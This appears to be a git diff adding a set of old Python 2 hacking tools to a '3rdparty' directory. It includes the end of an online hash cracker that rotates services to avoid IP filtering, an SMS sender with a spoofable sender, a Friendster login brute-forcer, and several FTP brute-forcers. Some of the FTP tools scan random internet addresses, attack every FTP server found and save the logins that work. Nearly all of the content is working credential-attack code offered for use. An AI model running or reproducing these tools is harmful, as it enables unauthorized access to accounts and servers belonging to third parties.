+  SHA224    - RFC 3874 (FIPS 180-3)
+  SHA256    - FIPS 180-3
+  SHA384    - FIPS 180-3
+  SHA512    - FIPS 180-3
+  RMD160    - RFC 2857
+  GOST      - RFC 5831
+  WHIRLPOOL - ISO/IEC 10118-3:2004
+  LM        - Microsoft Windows hash
+  NTLM      - Microsoft Windows hash
+  MYSQL     - MySQL 3, 4, 5 hash
+  CISCO7    - Cisco IOS type 7 encrypted passwords
+  JUNIPER   - Juniper Networks $9$ encrypted passwords
+  LDAP_MD5  - MD5 Base64 encoded
+  LDAP_SHA1 - SHA1 Base64 encoded
+ 
+  NOTE: for LM / NTLM it is recommended to introduce both values with this format:
+         python %s LM   -h 9a5760252b7455deaad3b435b51404ee:0d7f1f2bdeac6e574d6e18ca85fb58a7
+         python %s NTLM -h 9a5760252b7455deaad3b435b51404ee:0d7f1f2bdeac6e574d6e18ca85fb58a7
+
+
+Valid OPTIONS are:
+------------------
+
+  -h <hash_value>  If you only want to crack one hash, specify its value with this option.
+
+  -f <file>        If you have several hashes, you can specify a file with one hash per line.
+                   NOTE: All of them have to be the same type.
+                   
+  -g               If your hash cannot be cracked, search it in Google and show all the results.
+                   NOTE: This option ONLY works with -h (one hash input) option.
+
+
+Examples:
+---------
+
+  -> Try to crack only one hash.
+     python %s MD5 -h 098f6bcd4621d373cade4e832627b4f6
+     
+  -> Try to crack a JUNIPER encrypted password escaping special characters.
+     python %s JUNIPER -h "\$9\$LbHX-wg4Z"
+  
+  -> If the hash cannot be cracked, it will be searched in Google.
+     python %s LDAP_SHA1 -h "{SHA}cRDtpNCeBiql5KOQsKVyrA0sAiA=" -g
+   
+  -> Try to crack multiple hashes using a file (one hash per line).
+     python %s MYSQL -f mysqlhashesfile.txt
+     
+     
+Contact:
+--------
+
+[Web]           http://laxmarcaellugar.blogspot.com/
+[Mail/Google+]  bloglaxmarcaellugar@gmail.com
+[twitter]       @laXmarcaellugar
+""" % ( (sys.argv[0],) * 8 )
+
+
+
+def crackHash (algorithm, hashvalue=None, hashfile=None):
+	"""Crack a hash or all the hashes of a file.
+	
+	@param alg Algorithm of the hash (MD5, SHA1...).
+	@param hashvalue Hash value to be cracked.
+	@param hashfile Path of the hash file.
+	@return If the hash has been cracked or not."""
+	
+	global CRAKERS
+	
+	# Cracked hashes will be stored here
+	crackedhashes = []
+	
+	# Is the hash cracked?
+	cracked = False
+	
+	# Only one of the two possible inputs can be setted.
+	if (not hashvalue and not hashfile) or (hashvalue and hashfile):
+		return False
+	
+	# hashestocrack depends on the input value
+	hashestocrack = None
+	if hashvalue:
+		hashestocrack = [ hashvalue ]
+	else:
+		try:
+			hashestocrack = open (hashfile, "r")
+		except:
+			print "\nIt is not possible to read input file (%s)\n" % (hashfile)
+			return cracked
+	
+	
+	# Try to crack all the hashes...
+	for activehash in hashestocrack:
+		hashresults = []
+		
+		# Standarize the hash
+		activehash = activehash.strip()
+		if algorithm not in [JUNIPER, LDAP_MD5, LDAP_SHA1]:
+			activehash = activehash.lower()
+		
+		# Initial message
+		print "\nCracking hash: %s\n" % (activehash)
+
+		# Each loop starts for a different start point to try to avoid IP filtered
+		begin = randint(0, len(CRAKERS)-1)
+		
+		for i in range(len(CRAKERS)):
+			
+			# Select the cracker
+			cr = CRAKERS[ (i+begin)%len(CRAKERS) ]()
+			
+			# Check if the cracker support the algorithm
+			if not cr.isSupported ( algorithm ):
+				continue
+			
+			# Analyze the hash
+			print "Analyzing with %s (%s)..." % (cr.name, cr.url)
+			
+			# Crack the hash
+			result = None
+			try:
+				result = cr.crack ( activehash, algorithm )
+			# If it was some trouble, exit
+			except:
+				print "\nSomething was wrong. Please, contact with us to report the bug:\n\nbloglaxmarcaellugar@gmail.com\n"
+				if hashfile:
+					try:
+						hashestocrack.close()
+					except:
+						pass
+				return False
+			
+			# If there is any result...
+			cracked = 0
+			if result:
+				
+				# If it is a hashlib supported algorithm...
+				if algorithm in [MD4, MD5, SHA1,  SHA224, SHA384, SHA256, SHA512, RIPEMD]:
+					# Hash value is calculated to compare with cracker result
+					h = hashlib.new (algorithm)
+					h.update (result)
+					
+					# If the calculated hash is the same to cracker result, the result is correct (finish!)
+					if h.hexdigest() == activehash:
+						hashresults.append (result)
+						cracked = 2
+				
+				# If it is a half-supported hashlib algorithm
+				elif algorithm in [LDAP_MD5, LDAP_SHA1]:
+					alg = algorithm.split('_')[1]
+					ahash =  decodestring ( activehash.split('}')[1] )
+					
+					# Hash value is calculated to compare with cracker result
+					h = hashlib.new (alg)
+					h.update (result)
+					
+					# If the calculated hash is the same to cracker result, the result is correct (finish!)
+					if h.digest() == ahash:
+						hashresults.append (result)
+						cracked = 2
+				
+				# If it is a NTLM hash
+				elif algorithm == NTLM or (algorithm == LM and ':' in activehash):
+					# NTLM Hash value is calculated to compare with cracker result
+					candidate = hashlib.new('md4', result.split()[-1].encode('utf-16le')).hexdigest()
+					
+					# It's a LM:NTLM combination or a single NTLM hash
+					if (':' in activehash and candidate == activehash.split(':')[1]) or (':' not in activehash and candidate == activehash):
+						hashresults.append (result)
+						cracked = 2
+				
+				# If it is another algorithm, we search in all the crackers
+				else:
+					hashresults.append (result)
+					cracked = 1
+			
+			# Had the hash cracked?
+			if cracked:
+				print "\n***** HASH CRACKED!! *****\nThe original string is: %s\n" % (result)
+				# If result was verified, break
+				if cracked == 2:
+					break
+			else:
+				print "... hash not found in %s\n" % (cr.name)
+		
+		
+		# Store the result/s for later...
+		if hashresults:
+			
+			# With some hash types, it is possible to have more than one result,
+			# Repited results are deleted and a single string is constructed.
+			resultlist = []
+			for r in hashresults:
+				#if r.split()[-1] not in resultlist:
+					#resultlist.append (r.split()[-1])
+				if r not in resultlist:
+					resultlist.append (r)
+					
+			finalresult = ""
+			if len(resultlist) > 1:
+				finalresult = ', '.join (resultlist)
+			else:
+				finalresult = resultlist[0]
+			
+			# Valid results are stored
+			crackedhashes.append ( (activehash, finalresult) )
+	
+	
+	# Loop is finished. File can need to be closed
+	if hashfile:
+		try:
+			hashestocrack.close ()
+		except:
+			pass
+		
+	# Show a resume of all the cracked hashes
+	print "\nThe following hashes were cracked:\n----------------------------------\n"
+	print crackedhashes and "\n".join ("%s -> %s" % (hashvalue, result.strip()) for hashvalue, result in crackedhashes) or "NO HASH WAS CRACKED."
+	print
+	
+	return cracked
+
+
+
+
+def searchHash (hashvalue):
+	'''Google the hash value looking for any result which could give some clue...
+	
+	@param hashvalue The hash is been looking for.'''
+	
+	start = 0
+	finished = False
+	results = []
+	
+	sys.stdout.write("\nThe hash wasn't found in any database. Maybe Google has any idea...\nLooking for results...")
+	sys.stdout.flush()
+	
+	while not finished:
+		
+		sys.stdout.write('.')
+		sys.stdout.flush()
+	
+		# Build the URL
+		url = "http://www.google.com/search?hl=en&q=%s&filter=0" % (hashvalue)
+		if start:
+			url += "&start=%d" % (start)
+			
+		# Build the Headers with a random User-Agent
+		headers = { "User-Agent" : USER_AGENTS[randint(0, len(USER_AGENTS))-1] }
+		
+		# Send the request
+		response = do_HTTP_request ( url, httpheaders=headers )
+		
+		# Extract the results ...
+		html = None
+		if response:
+			html = response.read()
+		else:
+			continue
+			
+		resultlist = findall (r'<a href="[^"]*?" class=l', html)
+		
+		# ... saving only new ones
+		new = False
+		for r in resultlist:
+			url_r = r.split('"')[1]
+			
+			if not url_r in results:
+				results.append (url_r)
+				new = True
+		
+		start += len(resultlist)
+		
+		# If there is no a new result, finish
+		if not new:
+			finished = True
+		
+	
+	# Show the results
+	if results:
+		print "\n\nGoogle has some results. Maybe you would like to check them manually:\n"
+		
+		results.sort()
+		for r in results:
+			print "  *> %s" % (r)
+		print
+	
+	else:
+		print "\n\nGoogle doesn't have any result. Sorry!\n"
+
+
+########################################################################################################
+### MAIN CODE
+########################################################################################################
+
+def main():
+	"""Main method."""
+
+
+	###################################################
+	# Syntax check
+	if len (sys.argv) < 4:
+		printSyntax()
+		sys.exit(1)
+	
+	else:
+		try:
+			opts, args = getopt.getopt (sys.argv[2:], "gh:f:")
+		except:
+			printSyntax()
+			sys.exit(1)
+	
+	
+	###################################################
+	# Load input parameters
+	algorithm = sys.argv[1].lower()
+	hashvalue = None
+	hashfile  = None
+	googlesearch = False
+	
+	for opt, arg in opts:
+		if opt == '-h':
+			hashvalue = arg
+		elif opt == '-f':
+			hashfile = arg
+		else:
+			googlesearch = True
+	
+	
+	###################################################
+	# Configure the Cookie Handler
+	configureCookieProcessor()
+	
+	# Initialize PRNG seed
+	seed()
+	
+	cracked = 0
+	
+	
+	###################################################
+	# Crack the hash/es
+	cracked = crackHash (algorithm, hashvalue, hashfile)
+	
+	
+	###################################################
+	# Look for the hash in Google if it was not cracked
+	if not cracked and googlesearch and not hashfile:
+		searchHash (hashvalue)
+	
+	
+	
+	# App is finished
+	sys.exit()
+
+
+
+if __name__ == "__main__":
+    main()
+
+
diff --git a/3rdparty/freesms.pyw b/3rdparty/freesms.pyw
new file mode 100644
index 0000000..672dd67
--- /dev/null
+++ b/3rdparty/freesms.pyw
@@ -0,0 +1,97 @@
+#Send Free SMS (GUI Version)
+#d3hydr8[at]gmail[dot]com
+#http://www.darkc0de.com
+
+from Tkinter import *
+import urllib, urllib2
+
+class Application(Frame):
+	def __init__(self, master):
+		Frame.__init__(self, master)
+		self.grid()
+		self.create_widget()
+	def create_widget(self):
+		
+		self.lbl = Label(self, text = "From: (hello@abc.com)")
+		self.lbl.grid(row = 0, column = 0)
+		
+		self.addr = Entry(self, width = 32, bg = "#888")
+		self.addr.grid(row = 0, column = 1, sticky = W)
+	
+		self.lbl = Label(self, text = "Number: ")
+		self.lbl.grid(row = 3, column = 0)
+		
+		self.num = Entry(self, width = 3, bg = "#888")
+		self.num.grid(row = 3, column = 1, sticky = W)
+		self.num1 = Entry(self, width = 3, bg = "#888")
+		self.num1.grid(row = 3, column = 1, padx=35,pady=1, sticky = W)
+		self.num2 = Entry(self, width = 4, bg = "#888")
+		self.num2.grid(row = 3, column = 1, padx=70,pady=1, sticky = W)
+
+		self.lbl = Label(self, text = "Message: (120 Max) ")
+		self.lbl.grid(row = 6, column = 0)
+		
+		self.mess = Entry(self, width = 45, bg = "#888")
+		self.mess.grid(row = 6, column = 1, sticky = W)
+		
+		self.txtbox = Text(self, width = 60, height = 4, relief = "sunken", font=('Georgia', 8, 'bold'), bg = "#888")
+		self.txtbox.grid(row = 8, column = 0, columnspan = 2, sticky = W)
+
+		self.bttn1 = Button(self, text = "Send", relief = "raised", font=('courier', 10, 'bold'), fg = "#1569C7", bg = "#18181C", command = self.send)
+		self.bttn1.grid(row = 9, columnspan = 2, sticky = "WE")
+	
+		self.clear = Button(self, text="Clear", font=('Georgia', 8), command = self.clear)
+		self.clear.grid(row = 10, column = 1,sticky= E)
+		
+	def send(self):
+		a = self.addr.get()
+		n = self.num.get()
+		n1 = self.num1.get()
+		n2 = self.num2.get()
+		m = self.mess.get() 
+		host = "http://www.txtdrop.com/" 
+
+		if len(m) > 120:
+			self.txtbox.insert(END, "\nMessage Length Over (Max: 120 characters)")
+			self.mess.delete(0, END)
+		elif len(n) != 3 or len(n1) != 3 or len(n2) != 4:
+			self.txtbox.insert(END, "\nMisformed Number")
+			self.num.delete(0, END)
+			self.num1.delete(0, END)
+			self.num2.delete(0, END)
+		else:
+			login_form_seq = [ 
+     				('emailfrom',a), 
+				('npa',n), 
+				('exchange',n1), 
+				('number',n2), 
+				('body',m), 
+				('submitted','1'), 
+				('submit','Send')] 
+			login_form_data = urllib.urlencode(login_form_seq) 
+			opener = urllib2.build_opener() 
+			try: 
+				opener.addheaders = [('User-agent', 'Mozilla/5.0')] 
+				opener.open(host, login_form_data) 
+				self.txtbox.insert(END, "FROM: "+a)
+				self.txtbox.insert(END, "\nNUMBER: "+n+"-"+n1+"-"+n2)
+				self.txtbox.insert(END, "\nMessage: "+m)
+				self.txtbox.insert(END, "\nMessage Sent!!!")
+			except(urllib2.URLError), msg: 
+				self.txtbox.insert(END, "\nMessage Failed") 
+
+	def clear(self):
+		self.addr.delete(0, END)
+		self.num.delete(0, END)
+		self.num1.delete(0, END)
+		self.num2.delete(0, END)
+		self.mess.delete(0, END)
+   		self.txtbox.delete(0.0, END)
+		
+root = Tk()
+root.title("Send Free SMS")
+root.geometry("500x225")
+root.config(background="#18181C")
+app = Application(root)
+root.mainloop()
+
diff --git a/3rdparty/friendsterbf.py b/3rdparty/friendsterbf.py
new file mode 100644
index 0000000..965393a
--- /dev/null
+++ b/3rdparty/friendsterbf.py
@@ -0,0 +1,98 @@
+#!/usr/bin/python
+#Friendster.com Login BruteForcer
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com 
+
+import urllib2, sys, re, urllib, httplib, socket
+
+print "\n   d3hydr8[at]gmail[dot]com friendsterBF v1.1"
+print "----------------------------------------------"
+
+if len(sys.argv) not in [3,4,5,6]:
+	print "Usage: ./friendsterbf.py <user> <wordlist> <options>\n"
+	print "\t   -p/-proxy <host:port> : Add proxy support"
+	print "\t   -v/-verbose : Verbose Mode\n"
+	sys.exit(1)
+	
+for arg in sys.argv[1:]:
+	if arg.lower() == "-p" or arg.lower() == "-proxy":
+		proxy = sys.argv[int(sys.argv[1:].index(arg))+2]
+	if arg.lower() == "-v" or arg.lower() == "-verbose":
+		verbose = 1
+		
+try:
+	if proxy:
+		print "\n[+] Testing Proxy..."
+		h2 = httplib.HTTPConnection(proxy)
+		h2.connect()
+		print "[+] Proxy:",proxy
+except(socket.timeout):
+	print "\n[-] Proxy Timed Out"
+	proxy = 0
+	pass
+except(NameError):
+	print "\n[-] Proxy Not Given"
+	proxy = 0
+	pass
+except:
+	print "\n[-] Proxy Failed"
+	proxy = 0
+	pass
+	
+try:
+	if verbose == 1:
+		print "[+] Verbose Mode On\n"
+except(NameError):
+	print "[-] Verbose Mode Off\n"
+	verbose = 0
+	pass
+	
+host = "http://www.friendster.com/login.php"
+print "[+] BruteForcing:",host
+print "[+] Email:",sys.argv[1]
+
+try:
+  	words = open(sys.argv[2], "r").readlines()
+  	print "[+] Words Loaded:",len(words),"\n"
+except(IOError): 
+  	print "[-] Error: Check your wordlist path\n"
+  	sys.exit(1)
+  
+for word in words:
+	word = word.replace("\r","").replace("\n","")
+	login_form_seq = [
+     	('_submitted', '1'),
+     	('next', '/'),
+     	('tzoffset', '240'),
+     	('email', sys.argv[1]),
+	('password', word),
+	('remembermyemail', 'on'),
+	('btnLogIn', 'Log In'),
+	('btnSignUp','Sign Up')]
+	login_form_data = urllib.urlencode(login_form_seq)
+	if proxy != 0:
+		proxy_handler = urllib2.ProxyHandler({'http': 'http://'+proxy+'/'})
+		opener = urllib2.build_opener(proxy_handler)
+	else:
+		opener = urllib2.build_opener()
+	try:
+		opener.addheaders = [('User-agent', 'Mozilla/5.0')]
+		site = opener.open(host, login_form_data).read()
+	except(urllib2.URLError), msg:
+		print msg
+		site = ""
+		pass
+	
+	if re.search("The email address you entered is not a valid Friendster login.",site):
+		print "\nThe email address you entered is not a valid Friendster login.\n"
+		sys.exit(1)
+
+	if re.search("The email address and password you entered did not match.",site) == None:
+		print "\n\t[!] Login Successfull:",sys.argv[1],word,"\n"
+		sys.exit(1)
+	else:
+		if verbose == 1:
+			print "[-] Login Failed:",word
+print "\n[-] Brute Complete\n"
+	
\ No newline at end of file
diff --git a/3rdparty/ftpanon.py b/3rdparty/ftpanon.py
new file mode 100644
index 0000000..39ab2cc
--- /dev/null
+++ b/3rdparty/ftpanon.py
@@ -0,0 +1,42 @@
+#!/usr/bin/python
+#Uses nmap to scan ip range 
+#for port 21(ftp) open then 
+#checks for anonymous login.
+#d3hydr8[at]gmail[dot]com
+
+import commands, sys, getopt, StringIO, re, ftplib
+from ftplib import *
+
+tmp, args = getopt.getopt(sys.argv[1:],"")
+	
+def scan():
+
+	iprange = args[0]
+	ip_list = []
+	
+	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+iprange+' -p 21 | grep open -B 3')[1]).readlines()
+	
+	for tmp in nmap:
+		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
+		if ipaddr:
+	    		ip_list.append(ipaddr[0])
+	print "Found",len(ip_list),"hosts with ftp port open.\n"
+		   
+
+	for ip in ip_list:
+		try:
+			print "Checking for anonymous login on",ip
+			ftp = FTP(ip)
+			ftp.login()
+			ftp.retrlines('LIST')
+			print "\n\tAnonymous login successful on",ip,"\n"
+			ftp.quit()
+		except (ftplib.all_errors), msg: print "An error occurred:", msg
+		
+#................................................
+	
+if args == []:
+	print "Usage: ./ftpanon.py <ip range>"
+else:
+	print "\n\t [ Scanning", args[0],"]\n"
+	scan()
diff --git a/3rdparty/ftpbrute.py b/3rdparty/ftpbrute.py
new file mode 100644
index 0000000..d256e97
--- /dev/null
+++ b/3rdparty/ftpbrute.py
@@ -0,0 +1,93 @@
+#!usr/bin/python
+#Ftp Brute Forcer
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import threading, time, random, sys, ftplib
+from ftplib import FTP
+from copy import copy
+
+if len(sys.argv) !=4:
+	print "Usage: ./ftpbrute.py <server> <userlist> <wordlist>"
+	sys.exit(1)
+
+try:
+  	users = open(sys.argv[2], "r").readlines()
+except(IOError): 
+  	print "Error: Check your userlist path\n"
+  	sys.exit(1)
+  
+try:
+  	words = open(sys.argv[3], "r").readlines()
+except(IOError): 
+  	print "Error: Check your wordlist path\n"
+  	sys.exit(1)
+
+print "\n\t   d3hydr8[at]gmail[dot]com ftpBruteForcer v1.0"
+print "\t--------------------------------------------------\n"
+print "[+] Server:",sys.argv[1]
+print "[+] Users Loaded:",len(users)
+print "[+] Words Loaded:",len(words),"\n"
+
+try:
+	f = FTP(sys.argv[1])
+	print "[+] Response:",f.getwelcome()
+except (ftplib.all_errors):
+	pass
+
+try:
+	print "\n[+] Checking for anonymous login\n"
+	ftp = FTP(sys.argv[1])
+	ftp.login()
+	ftp.retrlines('LIST')
+	print "\t\nAnonymous login successful!!!\n"
+	ftp.quit()
+except (ftplib.all_errors): 
+	print "\tAnonymous login unsuccessful\n"
+
+wordlist = copy(words)
+
+def reloader():
+	for word in wordlist:
+		words.append(word)
+
+def getword():
+	lock = threading.Lock()
+	lock.acquire()
+	if len(words) != 0:
+		value = random.sample(words,  1)
+		words.remove(value[0])		
+	else:
+		print "\nReloading Wordlist - Changing User\n"
+		reloader()
+		value = random.sample(words,  1)
+		users.remove(users[0])
+		
+	lock.release()
+	if len(users) ==1:
+		return value[0][:-1], users[0]
+	else:
+		return value[0][:-1], users[0][:-1]
+		
+class Worker(threading.Thread):
+	
+	def run(self):
+		value, user = getword()
+		try:
+			print "-"*12
+			print "User:",user,"Password:",value
+			ftp = FTP(sys.argv[1])
+			ftp.login(user, value)
+			ftp.retrlines('LIST')
+			print "\t\nLogin successful:",value, user
+			ftp.quit()
+			work.join()
+			sys.exit(2)
+		except (ftplib.all_errors), msg: 
+			#print "An error occurred:", msg
+			pass
+ 
+for i in range(len(words)*len(users)):
+	work = Worker()
+	work.start()
+	time.sleep(1)
diff --git a/3rdparty/ftpbrute_iprange.py b/3rdparty/ftpbrute_iprange.py
new file mode 100644
index 0000000..07f4b19
--- /dev/null
+++ b/3rdparty/ftpbrute_iprange.py
@@ -0,0 +1,106 @@
+#!usr/bin/python
+#Ftp Brute Forcer, searches ip_range for hosts using ftp.
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import threading, time, StringIO, commands, random, sys, ftplib, re
+from ftplib import FTP
+from copy import copy
+
+if len(sys.argv) !=4:
+	print "Usage: ./ftpbrute.py <ip_range> <userlist> <wordlist>"
+	sys.exit(1)
+
+try:
+  	users = open(sys.argv[2], "r").readlines()
+except(IOError): 
+  	print "Error: Check your userlist path\n"
+  	sys.exit(1)
+  
+try:
+  	words = open(sys.argv[3], "r").readlines()
+except(IOError): 
+  	print "Error: Check your wordlist path\n"
+  	sys.exit(1)
+
+print "\n\t   d3hydr8[at]gmail[dot]com ftpBruteForcer v1.0"
+print "\t--------------------------------------------------\n"
+print "[+] Scanning:",sys.argv[1]
+print "[+] Users Loaded:",len(users)
+print "[+] Words Loaded:",len(words)
+
+wordlist = copy(words)
+
+def scan():
+
+	iprange = sys.argv[1]
+	ip_list = []
+	
+	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+iprange+' -p 21 | grep open -B 3')[1]).readlines()
+	
+	for tmp in nmap:
+		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
+		if ipaddr:
+	    		ip_list.append(ipaddr[0])
+	return ip_list
+
+def reloader():
+	for word in wordlist:
+		words.append(word)
+
+def getword():
+	lock = threading.Lock()
+	lock.acquire()
+	if len(words) != 0:
+		value = random.sample(words,  1)
+		words.remove(value[0])
+		
+	else:
+		reloader()
+		value = random.sample(words,  1)
+		
+	lock.release()
+	return value[0][:-1]
+		
+class Workhorse(threading.Thread):
+	
+	def run(self):
+		value = getword()
+		try:
+			print "-"*12
+			print "User:",user[:-1],"Password:",value
+			ftp = FTP(ip)
+			ftp.login(user[:-1], value)
+			ftp.retrlines('LIST')
+			print "\t\nLogin successful:",user, value
+			ftp.quit()
+			work.join()
+			sys.exit(2)
+		except (ftplib.all_errors), msg: 
+			#print "An error occurred:", msg
+			pass
+ 
+ip_list = scan()
+print "[+] Hosts Loaded:",len(ip_list),"\n"
+for ip in ip_list:
+	print "\n\tAttempting BruteForce:",ip,"\n"
+	try:
+		f = FTP(ip)
+		print "[+] Response:",f.getwelcome()
+	except (ftplib.all_errors):
+		pass
+	try:
+		print "\n[+] Checking for anonymous login\n"
+		ftp = FTP(ip)
+		ftp.login()
+		ftp.retrlines('LIST')
+		print "\t\nAnonymous login successful!!!\n"
+		ftp.quit()
+	except (ftplib.all_errors): 
+		print "\tAnonymous login unsuccessful\n"
+	for user in users:
+		for i in range(len(words)):
+			if i == 0: reloader()
+			work = Workhorse()
+			work.start()
+			time.sleep(1)
diff --git a/3rdparty/ftpbrute_random.py b/3rdparty/ftpbrute_random.py
new file mode 100644
index 0000000..a232156
--- /dev/null
+++ b/3rdparty/ftpbrute_random.py
@@ -0,0 +1,155 @@
+#!usr/bin/python
+#Uses nmap or socket to check if ftp is open on a random ip. If
+#the server is found it will check for anonymous login and then
+#continue to bruteforce. It also can save successful logins
+#to an external file.
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import threading, time, StringIO, commands, random, sys, ftplib, re, socket
+from ftplib import FTP
+
+def rand():
+	a = random.randrange(255) + 1
+	b = random.randrange(255) + 1
+	c = random.randrange(255) + 1
+	d = random.randrange(255) + 1
+	ip = "%d.%d.%d.%d" % (a,b,c,d)
+	return ip
+
+def timer():
+	now = time.localtime(time.time())
+	return time.asctime(now)
+
+def nmapscan():
+	
+	#Change this to your nmap preferences
+	nmap = "nmap -P0 -iR 1 -p 21 | grep open -B 3"
+	nmap = StringIO.StringIO(commands.getstatusoutput(nmap)[1]).readlines()
+	
+	for tmp in nmap:
+		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
+		if ipaddr:    		
+			return ipaddr
+		
+def servscan():
+	
+	ipaddr = rand()
+	try:
+		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+		s.settimeout(5)
+		s.connect((ipaddr, 21))
+		s.close() 
+		return ipaddr
+	except socket.error:
+		pass
+		
+def workhorse(ipaddr, user, word):
+	user = user.replace("\n","")
+	word = word.replace("\n","")
+	try:
+		print "-"*12
+		print "User:",user,"Password:",word
+		ftp = FTP(ipaddr)
+		ftp.login(user, word)
+		ftp.retrlines('LIST')
+		print "\t\n[!] Login successful:",user, word
+		if txt != None:
+			save_file.writelines(user+" : "+word+" @ "+ipaddr+":21\n")
+		ftp.quit()
+		sys.exit(2)
+	except (ftplib.all_errors), msg: 
+		#print "[-] An error occurred:", msg
+		pass
+		
+def brute(ipaddr):
+	print "-"*30
+	print "\n[+] Attempting BruteForce:",ipaddr,"\n"
+	try:
+		f = FTP(ipaddr)
+		print "[+] Response:",f.getwelcome()
+	except (ftplib.all_errors):
+		pass
+	try:
+		print "\n[+] Checking for anonymous login:",ipaddr,"\n"
+		ftp = FTP(ipaddr)
+		ftp.login()
+		ftp.retrlines('LIST')
+		print "\t\n[!] Anonymous login successful!!!\n"
+		if txt != None:
+			save_file.writelines("Anonymous:"+ipaddr+":21\n")
+		ftp.quit()
+	except (ftplib.all_errors): 
+		print "[-] Anonymous login unsuccessful\n"
+	for user in users:
+		for word in words:
+			work = threading.Thread(target = workhorse, args=(ipaddr, user, word)).start()
+			time.sleep(1)
+
+if len(sys.argv) not in [4,5,6,7]:
+	print "\nUsage: ./randftpbf.py <how many to scan> <userlist> <wordlist> <options>"
+	print "\t[option]"
+	print "\t   -nmap/-n : Uses sockets instead of nmap to find open ports"
+	print "\t   -save/-s <file> : Save Successful Logins"
+	print "\nExample: ./randftpbf.py 10000 users.txt words.txt -nmap -save hits.txt\n"
+	sys.exit(0)
+
+try:
+  	users = open(sys.argv[2], "r").readlines()
+except(IOError): 
+  	print "[-] Error: Check your userlist path\n"
+  	sys.exit(1)
+try:
+  	words = open(sys.argv[3], "r").readlines()
+except(IOError): 
+  	print "[-] Error: Check your wordlist path\n"
+  	sys.exit(1)
+	
+for arg in sys.argv[1:]:
+	if arg.lower() == "-nmap" or arg.lower() == "-n":
+		nmap = 1
+	if arg.lower() == "-save" or arg.lower() == "-s":
+		txt = sys.argv[int(sys.argv[1:].index(arg))+2]
+
+print "\n\t   d3hydr8[at]gmail[dot]com RandomftpBF v1.1"
+print "\t-----------------------------------------------\n"
+print "[+] Scanning:",sys.argv[1],"hosts"
+print "[+] Users Loaded:",len(users)
+print "[+] Words Loaded:",len(words)
+
+try:
+	if txt:
+		save_file = open(txt, "a")
+		print "[+] Save File:",txt
+except(NameError):
+	txt = None
+	print "[-] Saving Mode Off"
+	
+print "[+] Scan Started:",timer()		
+try:
+	if nmap == 1:
+		print "[+] Socket Scan Mode\n"
+		for x in xrange(int(sys.argv[1])):
+			print "[-]",x+1,"of",sys.argv[1]
+			#Change this limit for faster results.
+			time.sleep(3)
+			ipaddr = servscan()
+			if ipaddr != None:
+				brute(ipaddr)
+		print "\n[+] Scan Complete:",timer()
+	else:
+		print "\n[-] Error: Check your options\n"
+		sys.exit(1)
+except(NameError):
+	print "[+] Nmap Mode\n"
+	for x in xrange(int(sys.argv[1])):
+		print "[-]",x+1,"of",sys.argv[1]
+		#Change this limit for faster results.
+		time.sleep(3)
+		ipaddr = nmapscan()
+		if ipaddr != None:
+			brute(ipaddr[0])
+	print "\n[+] Scan Complete:",timer()
+
+
diff --git a/3rdparty/ftpbrute_random1.0.py b/3rdparty/ftpbrute_random1.0.py
new file mode 100644
index 0000000..8f7fd3a
--- /dev/null
+++ b/3rdparty/ftpbrute_random1.0.py
@@ -0,0 +1,105 @@
+#!usr/bin/python
+#Uses nmap to check if ftp port is open, brute forces if it is.
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import threading, time, StringIO, commands, random, sys, ftplib, re
+from ftplib import FTP
+from copy import copy
+
+if len(sys.argv) !=4:
+	print "Usage: ./ftpbrute.py <how many to scan> <userlist> <wordlist>"
+	sys.exit(1)
+
+try:
+  	users = open(sys.argv[2], "r").readlines()
+except(IOError): 
+  	print "Error: Check your userlist path\n"
+  	sys.exit(1)
+  
+try:
+  	words = open(sys.argv[3], "r").readlines()
+except(IOError): 
+  	print "Error: Check your wordlist path\n"
+  	sys.exit(1)
+
+print "\n\t   d3hydr8[at]gmail[dot]com ftpBruteForcer v1.0"
+print "\t--------------------------------------------------\n"
+print "[+] Scanning:",sys.argv[1],"hosts"
+print "[+] Users Loaded:",len(users)
+print "[+] Words Loaded:",len(words),"\n"
+
+wordlist = copy(words)
+
+def scan():
+	
+	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 -iR 1 -p 21 | grep open -B 3')[1]).readlines()
+	
+	for tmp in nmap:
+		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
+		if ipaddr:    		
+			return ipaddr
+
+def reloader():
+	for word in wordlist:
+		words.append(word)
+
+def getword():
+	lock = threading.Lock()
+	lock.acquire()
+	if len(words) != 0:
+		value = random.sample(words,  1)
+		words.remove(value[0])
+		
+	else:
+		print "Reloading Wordlist\n"
+		reloader()
+		value = random.sample(words,  1)
+		
+	lock.release()
+	return value[0][:-1]
+		
+class Workhorse(threading.Thread):
+	
+	def run(self):
+		value = getword()
+		try:
+			print "-"*12
+			print "User:",user[:-1],"Password:",value
+			ftp = FTP(ipaddr[0])
+			ftp.login(user[:-1], value)
+			ftp.retrlines('LIST')
+			print "\t\nLogin successful:",user, value
+			ftp.quit()
+			work.join()
+			sys.exit(2)
+		except (ftplib.all_errors), msg: 
+			print "An error occurred:", msg
+			pass
+
+for x in range(int(sys.argv[1])):
+	print "Scanning:",x,"of",sys.argv[1]
+	ipaddr = scan()
+	if ipaddr != None:
+		print "\n\tAttempting BruteForce:",ipaddr[0],"\n"
+		try:
+			f = FTP(ipaddr[0])
+			print "[+] Response:",f.getwelcome()
+		except (ftplib.all_errors):
+			pass
+		try:
+			print "\n[+] Checking for anonymous login:",ipaddr[0],"\n"
+			ftp = FTP(ipaddr[0])
+			ftp.login()
+			ftp.retrlines('LIST')
+			print "\t\nAnonymous login successful!!!\n"
+			ftp.quit()
+		except (ftplib.all_errors): 
+			print "\tAnonymous login unsuccessful\n"
+		for user in users:
+			for i in range(len(words)):
+				if i == 0: reloader()
+				work = Workhorse()
+				work.start()
+				time.sleep(2)
+
diff --git a/3rdparty/ftprand.py b/3rdparty/ftprand.py
new file mode 100644
index 0000000..c25abc7
--- /dev/null
+++ b/3rdparty/ftprand.py
@@ -0,0 +1,100 @@
